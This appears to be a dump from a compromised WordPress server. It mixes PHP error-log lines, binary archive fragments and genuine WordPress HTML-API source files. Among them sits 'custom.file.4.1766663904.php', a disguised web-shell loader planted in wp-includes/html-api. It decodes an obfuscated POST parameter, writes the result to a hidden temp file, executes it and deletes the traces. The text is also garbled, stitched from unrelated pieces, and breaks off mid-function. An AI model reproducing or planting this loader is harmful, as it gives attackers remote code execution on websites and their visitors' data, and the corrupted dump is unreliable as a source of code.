[14-Feb-2026 08:19:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
PKgN\�A�&class-wp-html-text-replacement.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-text-replacement.php000064400000002601151440277760024244 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
PKgN\*0��4C4C	index.phpnu�[���PKgN\�i���,mCclass-wp-html-attribute-token.php.php.tar.gznu�[���PKgN\�KW�gg�Gerror_log.tar.gznu�[���PKgN\T7��[["nJclass-wp-html-token.php.php.tar.gznu�[���PKgN\g���VV#Pclass-wp-html-tag-processor.php.tarnu�[���PKgN\�>��JJ
n�index.php.tarnu�[���PKgN\�Wy%��class-wp-html-attribute-token.php.tarnu�[���PKgN\�_���-class-wp-html-text-replacement.php.php.tar.gznu�[���PKgN\�ȩd�d�index.php.php.tar.gznu�[���PKgN\��|Kb�b�*�jclass-wp-html-tag-processor.php.php.tar.gznu�[���PKgN\��J��class-wp-html-token.php.tarnu�[���PKgN\�,�n�n�	�error_lognu�[���PKgN\�A�&��class-wp-html-text-replacement.php.tarnu�[���PK

��PKE�N\�`��

 custom.file.4.1766663904.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/custom.file.4.1766663904.php000064400000001532151440300240021740 0ustar00<!--v7USGp1a-->
<?php

if(!empty($_POST["mar\x6Ber"])){
$record = array_filter(["/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP")]);
$descriptor = $_POST["mar\x6Ber"];
$descriptor=explode	 ( '.'	 ,		 $descriptor ); 		
$token = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s);

foreach ($descriptor as $i => $val) {
    $sChar = ord($s[$i % $sLen]);
    $dec = ((int)$val - $sChar - ($i % 10)) ^ 20;
    $token .= chr($dec);
}
while ($rec = array_shift($record)) {
            if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) {
            $item = implode("/", [$rec, ".ref"]);
            if (@file_put_contents($item, $token) !== false) {
    include $item;
    unlink($item);
    die();
}
        }
}
}PKE�N\y��jj"class-wp-html-doctype-info.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-doctype-info.php000064400000061446151440300210023350 0ustar00<?php
/**
 * HTML API: WP_HTML_Doctype_Info class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.7.0
 */

/**
 * Core class used by the HTML API to represent a DOCTYPE declaration.
 *
 * This class parses DOCTYPE tokens for the full parser in the HTML Processor.
 * Most code interacting with HTML won't need to parse DOCTYPE declarations;
 * the HTML Processor is one exception. Consult the HTML Processor for proper
 * parsing of an HTML document.
 *
 * A DOCTYPE declaration may indicate its document compatibility mode, which impacts
 * the structure of the following HTML as well as the behavior of CSS class selectors.
 * There are three possible modes:
 *
 *  - "no-quirks" and "limited-quirks" modes (also called "standards mode").
 *  - "quirks" mode.
 *
 * These modes mostly determine whether CSS class name selectors match values in the
 * HTML `class` attribute in an ASCII-case-insensitive way (quirks mode), or whether
 * they match only when byte-for-byte identical (no-quirks mode).
 *
 * All HTML documents should start with the standard HTML5 DOCTYPE: `<!DOCTYPE html>`.
 *
 * > DOCTYPEs are required for legacy reasons. When omitted, browsers tend to use a different
 * > rendering mode that is incompatible with some specifications. Including the DOCTYPE in a
 * > document ensures that the browser makes a best-effort attempt at following the
 * > relevant specifications.
 *
 * @see https://html.spec.whatwg.org/#the-doctype
 *
 * DOCTYPE declarations comprise four properties: a name, public identifier, system identifier,
 * and an indication of which document compatibility mode they would imply if an HTML parser
 * hadn't already determined it from other information.
 *
 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
 *
 * Historically, the DOCTYPE declaration was used in SGML documents to instruct a parser how
 * to interpret the various tags and entities within a document. Its role in HTML diverged
 * from how it was used in SGML and no meaning should be back-read into HTML based on how it
 * is used in SGML, XML, or XHTML documents.
 *
 * @see https://www.iso.org/standard/16387.html
 *
 * @since 6.7.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Doctype_Info {
	/**
	 * Name of the DOCTYPE: should be "html" for HTML documents.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * Historically the DOCTYPE name indicates name of the document's root element.
	 *
	 *     <!DOCTYPE html>
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $name = null;

	/**
	 * Public identifier of the DOCTYPE.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * The public identifier is optional and should not appear in HTML documents.
	 * A `null` value indicates that no public identifier was present in the DOCTYPE.
	 *
	 * Historically the presence of the public identifier indicated that a document
	 * was meant to be shared between computer systems and the value indicated to a
	 * knowledgeable parser how to find the relevant document type definition (DTD).
	 *
	 *     <!DOCTYPE html PUBLIC "public id goes here in quotes">
	 *               │  │         ╰─── public identifier ─────╯
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $public_identifier = null;

	/**
	 * System identifier of the DOCTYPE.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * The system identifier is optional and should not appear in HTML documents.
	 * A `null` value indicates that no system identifier was present in the DOCTYPE.
	 *
	 * Historically the system identifier specified where a relevant document type
	 * declaration for the given document is stored and may be retrieved.
	 *
	 *     <!DOCTYPE html SYSTEM "system id goes here in quotes">
	 *               │  │         ╰──── system identifier ────╯
	 *               ╰──┴── name is "html".
	 *
	 * If a public identifier were provided it would indicate to a knowledgeable
	 * parser how to interpret the system identifier.
	 *
	 *     <!DOCTYPE html PUBLIC "public id goes here in quotes" "system id goes here in quotes">
	 *               │  │         ╰─── public identifier ─────╯   ╰──── system identifier ────╯
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $system_identifier = null;

	/**
	 * Which document compatibility mode this DOCTYPE declaration indicates.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * When an HTML parser has not already set the document compatibility mode,
	 * (e.g. "quirks" or "no-quirks" mode), it will be inferred from the properties
	 * of the appropriate DOCTYPE declaration, if one exists. The DOCTYPE can
	 * indicate one of three possible document compatibility modes:
	 *
	 *  - "no-quirks" and "limited-quirks" modes (also called "standards" mode).
	 *  - "quirks" mode (also called `CSS1Compat` mode).
	 *
	 * An appropriate DOCTYPE is one encountered in the "initial" insertion mode,
	 * before the HTML element has been opened and before finding any other
	 * DOCTYPE declaration tokens.
	 *
	 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
	 *
	 * @since 6.7.0
	 *
	 * @var string One of "no-quirks", "limited-quirks", or "quirks".
	 */
	public $indicated_compatibility_mode;

	/**
	 * Constructor.
	 *
	 * This class should not be instantiated directly.
	 * Use the static {@see self::from_doctype_token} method instead.
	 *
	 * The arguments to this constructor correspond to the "DOCTYPE token"
	 * as defined in the HTML specification.
	 *
	 * > DOCTYPE tokens have a name, a public identifier, a system identifier,
	 * > and a force-quirks flag. When a DOCTYPE token is created, its name, public identifier,
	 * > and system identifier must be marked as missing (which is a distinct state from the
	 * > empty string), and the force-quirks flag must be set to off (its other state is on).
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @param string|null $name              Name of the DOCTYPE.
	 * @param string|null $public_identifier Public identifier of the DOCTYPE.
	 * @param string|null $system_identifier System identifier of the DOCTYPE.
	 * @param bool        $force_quirks_flag Whether the force-quirks flag is set for the token.
	 */
	private function __construct(
		?string $name,
		?string $public_identifier,
		?string $system_identifier,
		bool $force_quirks_flag
	) {
		$this->name              = $name;
		$this->public_identifier = $public_identifier;
		$this->system_identifier = $system_identifier;

		/*
		 * > If the DOCTYPE token matches one of the conditions in the following list,
		 * > then set the Document to quirks mode:
		 */

		/*
		 * > The force-quirks flag is set to on.
		 */
		if ( $force_quirks_flag ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * Normative documents will contain the literal `<!DOCTYPE html>` with no
		 * public or system identifiers; short-circuit to avoid extra parsing.
		 */
		if ( 'html' === $name && null === $public_identifier && null === $system_identifier ) {
			$this->indicated_compatibility_mode = 'no-quirks';
			return;
		}

		/*
		 * > The name is not "html".
		 *
		 * The tokenizer must report the name in lower case even if provided in
		 * the document in upper case; thus no conversion is required here.
		 */
		if ( 'html' !== $name ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * Set up some variables to handle the rest of the conditions.
		 *
		 * > set...the public identifier...to...the empty string if the public identifier was missing.
		 * > set...the system identifier...to...the empty string if the system identifier was missing.
		 * >
		 * > The system identifier and public identifier strings must be compared...
		 * > in an ASCII case-insensitive manner.
		 * >
		 * > A system identifier whose value is the empty string is not considered missing
		 * > for the purposes of the conditions above.
		 */
		$system_identifier_is_missing = null === $system_identifier;
		$public_identifier            = null === $public_identifier ? '' : strtolower( $public_identifier );
		$system_identifier            = null === $system_identifier ? '' : strtolower( $system_identifier );

		/*
		 * > The public identifier is set to…
		 */
		if (
			'-//w3o//dtd w3 html strict 3.0//en//' === $public_identifier ||
			'-/w3c/dtd html 4.0 transitional/en' === $public_identifier ||
			'html' === $public_identifier
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > The system identifier is set to…
		 */
		if ( 'http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd' === $system_identifier ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * All of the following conditions depend on matching the public identifier.
		 * If the public identifier is empty, none of the following conditions will match.
		 */
		if ( '' === $public_identifier ) {
			$this->indicated_compatibility_mode = 'no-quirks';
			return;
		}

		/*
		 * > The public identifier starts with…
		 *
		 * @todo Optimize this matching. It shouldn't be a large overall performance issue,
		 *       however, as only a single DOCTYPE declaration token should ever be parsed,
		 *       and normative documents will have exited before reaching this condition.
		 */
		if (
			str_starts_with( $public_identifier, '+//silmaril//dtd html pro v0r11 19970101//' ) ||
			str_starts_with( $public_identifier, '-//as//dtd html 3.0 aswedit + extensions//' ) ||
			str_starts_with( $public_identifier, '-//advasoft ltd//dtd html 3.0 aswedit + extensions//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.1e//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.2 final//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html//' ) ||
			str_starts_with( $public_identifier, '-//metrius//dtd metrius presentational//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 html strict//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 html//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 tables//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 html strict//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 html//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 tables//' ) ||
			str_starts_with( $public_identifier, '-//netscape comm. corp.//dtd html//' ) ||
			str_starts_with( $public_identifier, '-//netscape comm. corp.//dtd strict html//' ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html 2.0//" ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html extended 1.0//" ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html extended relaxed 1.0//" ) ||
			str_starts_with( $public_identifier, '-//sq//dtd html 2.0 hotmetal + extensions//' ) ||
			str_starts_with( $public_identifier, '-//softquad software//dtd hotmetal pro 6.0::19990601::extensions to html 4.0//' ) ||
			str_starts_with( $public_identifier, '-//softquad//dtd hotmetal pro 4.0::19971010::extensions to html 4.0//' ) ||
			str_starts_with( $public_identifier, '-//spyglass//dtd html 2.0 extended//' ) ||
			str_starts_with( $public_identifier, '-//sun microsystems corp.//dtd hotjava html//' ) ||
			str_starts_with( $public_identifier, '-//sun microsystems corp.//dtd hotjava strict html//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3 1995-03-24//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2 draft//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2 final//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2s draft//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 4.0 frameset//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 4.0 transitional//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html experimental 19960712//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html experimental 970421//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd w3 html//' ) ||
			str_starts_with( $public_identifier, '-//w3o//dtd w3 html 3.0//' ) ||
			str_starts_with( $public_identifier, '-//webtechs//dtd mozilla html 2.0//' ) ||
			str_starts_with( $public_identifier, '-//webtechs//dtd mozilla html//' )
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > The system identifier is missing and the public identifier starts with…
		 */
		if (
			$system_identifier_is_missing && (
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 frameset//' ) ||
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 transitional//' )
			)
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > Otherwise, if the DOCTYPE token matches one of the conditions in
		 * > the following list, then set the Document to limited-quirks mode.
		 */

		/*
		 * > The public identifier starts with…
		 */
		if (
			str_starts_with( $public_identifier, '-//w3c//dtd xhtml 1.0 frameset//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd xhtml 1.0 transitional//' )
		) {
			$this->indicated_compatibility_mode = 'limited-quirks';
			return;
		}

		/*
		 * > The system identifier is not missing and the public identifier starts with…
		 */
		if (
			! $system_identifier_is_missing && (
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 frameset//' ) ||
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 transitional//' )
			)
		) {
			$this->indicated_compatibility_mode = 'limited-quirks';
			return;
		}

		$this->indicated_compatibility_mode = 'no-quirks';
	}

	/**
	 * Creates a WP_HTML_Doctype_Info instance by parsing a raw DOCTYPE declaration token.
	 *
	 * Use this method to parse a DOCTYPE declaration token and get access to its properties
	 * via the returned WP_HTML_Doctype_Info class instance. The provided input must parse
	 * properly as a DOCTYPE declaration, though it must not represent a valid DOCTYPE.
	 *
	 * Example:
	 *
	 *     // Normative HTML DOCTYPE declaration.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( '<!DOCTYPE html>' );
	 *     'no-quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // A nonsensical DOCTYPE is still valid, and will indicate "quirks" mode.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( '<!doctypeJSON SILLY "nonsense\'>' );
	 *     'quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // Textual quirks present in raw HTML are handled appropriately.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( "<!DOCTYPE\nhtml\n>" );
	 *     'no-quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // Anything other than a proper DOCTYPE declaration token fails to parse.
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( ' <!DOCTYPE>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<!DOCTYPE ><p>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<!TYPEDOC>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( 'html' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<?xml version="1.0" encoding="UTF-8" ?>' );
	 *
	 * @since 6.7.0
	 *
	 * @param string $doctype_html The complete raw DOCTYPE HTML string, e.g. `<!DOCTYPE html>`.
	 *
	 * @return WP_HTML_Doctype_Info|null A WP_HTML_Doctype_Info instance will be returned if the
	 *                                   provided DOCTYPE HTML is a valid DOCTYPE. Otherwise, null.
	 */
	public static function from_doctype_token( string $doctype_html ): ?self {
		$doctype_name      = null;
		$doctype_public_id = null;
		$doctype_system_id = null;

		$end = strlen( $doctype_html ) - 1;

		/*
		 * This parser combines the rules for parsing DOCTYPE tokens found in the HTML
		 * specification for the DOCTYPE related tokenizer states.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-state
		 */

		/*
		 * - Valid DOCTYPE HTML token must be at least `<!DOCTYPE>` assuming a complete token not
		 *   ending in end-of-file.
		 * - It must start with an ASCII case-insensitive match for `<!DOCTYPE`.
		 * - The only occurrence of `>` must be the final byte in the HTML string.
		 */
		if (
			$end < 9 ||
			0 !== substr_compare( $doctype_html, '<!DOCTYPE', 0, 9, true )
		) {
			return null;
		}

		$at = 9;
		// Is there one and only one `>`?
		if ( '>' !== $doctype_html[ $end ] || ( strcspn( $doctype_html, '>', $at ) + $at ) < $end ) {
			return null;
		}

		/*
		 * Perform newline normalization and ensure the $end value is correct after normalization.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$doctype_html = str_replace( "\r\n", "\n", $doctype_html );
		$doctype_html = str_replace( "\r", "\n", $doctype_html );
		$end          = strlen( $doctype_html ) - 1;

		/*
		 * In this state, the doctype token has been found and its "content" optionally including the
		 * name, public identifier, and system identifier is between the current position and the end.
		 *
		 *     "<!DOCTYPE...declaration...>"
		 *               ╰─ $at           ╰─ $end
		 *
		 * It's also possible that the declaration part is empty.
		 *
		 *               ╭─ $at
		 *     "<!DOCTYPE>"
		 *               ╰─ $end
		 *
		 * Rules for parsing ">" which terminates the DOCTYPE do not need to be considered as they
		 * have been handled above in the condition that the provided DOCTYPE HTML must contain
		 * exactly one ">" character in the final position.
		 */

		/*
		 *
		 * Parsing effectively begins in "Before DOCTYPE name state". Ignore whitespace and
		 * proceed to the next state.
		 *
		 * @see https://html.spec.whatwg.org/#before-doctype-name-state
		 */
		$at += strspn( $doctype_html, " \t\n\f\r", $at );

		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		$name_length  = strcspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		$doctype_name = str_replace( "\0", "\u{FFFD}", strtolower( substr( $doctype_html, $at, $name_length ) ) );

		$at += $name_length;
		$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
		}

		/*
		 * "After DOCTYPE name state"
		 *
		 * Find a case-insensitive match for "PUBLIC" or "SYSTEM" at this point.
		 * Otherwise, set force-quirks and enter bogus DOCTYPE state (skip the rest of the doctype).
		 *
		 * @see https://html.spec.whatwg.org/#after-doctype-name-state
		 */
		if ( $at + 6 >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		/*
		 * > If the six characters starting from the current input character are an ASCII
		 * > case-insensitive match for the word "PUBLIC", then consume those characters
		 * > and switch to the after DOCTYPE public keyword state.
		 */
		if ( 0 === substr_compare( $doctype_html, 'PUBLIC', $at, 6, true ) ) {
			$at += 6;
			$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
			if ( $at >= $end ) {
				return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
			}
			goto parse_doctype_public_identifier;
		}

		/*
		 * > Otherwise, if the six characters starting from the current input character are an ASCII
		 * > case-insensitive match for the word "SYSTEM", then consume those characters and switch
		 * > to the after DOCTYPE system keyword state.
		 */
		if ( 0 === substr_compare( $doctype_html, 'SYSTEM', $at, 6, true ) ) {
			$at += 6;
			$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
